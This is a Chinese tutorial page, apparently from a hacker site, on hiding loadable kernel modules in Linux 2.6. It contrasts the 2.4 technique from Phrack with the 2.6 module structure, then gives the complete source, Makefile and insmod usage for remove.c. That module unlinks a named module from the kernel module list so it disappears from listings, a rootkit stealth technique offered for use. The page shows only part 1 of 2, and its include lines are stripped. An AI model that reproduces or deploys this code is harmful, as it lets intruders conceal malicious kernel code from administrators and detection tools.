教你怎样隐藏Linux2.6的内核模块

• 
  　　2.6内核与2.4内核相比，有了许多变化，模块部分的实现完全重写，结构也有了一些变化。2.4内核中模块隐藏的方式为：(参考madsys的phrack 61-03)
  　　
  　　strUCt module *p;
  　　for (p=&__this_module; p->next; p=p->next)
  　　{
  　　if (strcmp(p->next->name, str))
  　　continue;
  　　p->next=p->next->next; // <-- here it removes that module
  　　break;
  　　}
  　　2.4的module定义为：
  　　struct module
  　　{
  　　unsigned long size_of_struct; /* == sizeof(module) */
  　　struct module *next;
  　　const char *name;
  　　unsigned long size;
  　　...
  　　}
  　　2.6为：
  　　struct module
  　　{
  　　enum module_state state;
  　　/* Member of list of modules */
  　　struct list_head list; <--- 变成了双向链表
  　　/* Unique handle for this module */
  　　char name[MODULE_NAME_LEN];
  　　...
  　　}
  　　因此使用标准的内核list系列处理函数(不需要再闭门造车了)，2.6版的进程隐藏重写为：
  　　/*
  　　* FileName: remove.c
  　　* Author: CoolQ
  　　* Date: 23:05 2004-9-2
  　　* Makefile:
  　　* ---------------- cut here -----------------
  　　* obj-m += remove.o
  　　* KDIR:= /lib/modules/$(shell uname -r)/build
  　　* PWD:= $(shell pwd)
  　　* default:
  　　* $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
  　　*----------------- cut here -----------------
  　　* Compile:
  　　* [root@coolq tmp]make
  　　* Usage:
  　　* [root@coolq tmp]insmod remove.ko mod_name=module_name_to_hide
  　　*/
  　　#include
  　　#include
  　　#include
  　　#include
  　　#include
  　　#include
  　　static char *mod_name = "module";
  　　module_param(mod_name, charp, 0);
  　　static int remove_init(void)
  　　{
  　　struct module *mod_head, *mod_counter;
  　　struct list_head *p;
  　　mod_head = &__this_module;
  　　list_for_each(p, &mod_head->list){
  　　mod_counter = list_entry(p, struct module, list);
  　　if(strcmp(mod_counter->name, mod_name) == 0){
  　　list_del(p);
  　　printk("remove module %s successfully.\n", mod_name);
  　　return 0;
  　　}
  　　}
  　　printk("Can't find module %s.\n", mod_name);
  　　return 0;
  　　}
  　　static void remove_exit(void)
  　　{
  　　}
  　　module_init(remove_init);
  　　module_exit(remove_exit);
  　　MODULE_LICENSE("Dual BSD/GPL");
  
• [1] [2] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• 教你怎样隐藏Linux2.6的内核模块 相关文章：
• 教你怎样隐藏Linux2.6的内核模块 相关软件

上一篇:Linux的缔造者—LinusTorvalds

下一篇:Linux管理工具介绍

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐